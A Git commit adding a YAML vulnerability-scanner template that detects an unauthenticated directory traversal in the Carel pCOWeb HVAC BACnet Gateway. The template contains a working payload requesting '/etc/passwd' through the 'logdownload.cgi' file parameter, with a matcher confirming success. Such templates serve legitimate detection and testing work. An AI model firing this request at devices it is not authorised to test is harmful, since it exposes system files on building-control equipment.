Merge pull request #4836 from gy741/v119

Create carel-bacnet-gateway-directory-traversal.yaml
patch-1
Prince Chaddha 2022-07-18 14:15:54 +05:30 committed by GitHub
commit 279a418e17
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 20 additions and 0 deletions

View File

@ -0,0 +1,20 @@
id: carel-bacnet-gateway-traversal
info:
name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Unauthenticated Directory Traversal
author: gy741
severity: medium
description: The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
reference:
- https://www.zeroscience.mk/codes/carelpco_dir.txt
tags: carel,lfi,traversal,unauth,bacnet,unauth
requests:
- method: GET
path:
- "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"
matchers:
- type: regex
regex:
- "root:.*:0:0:"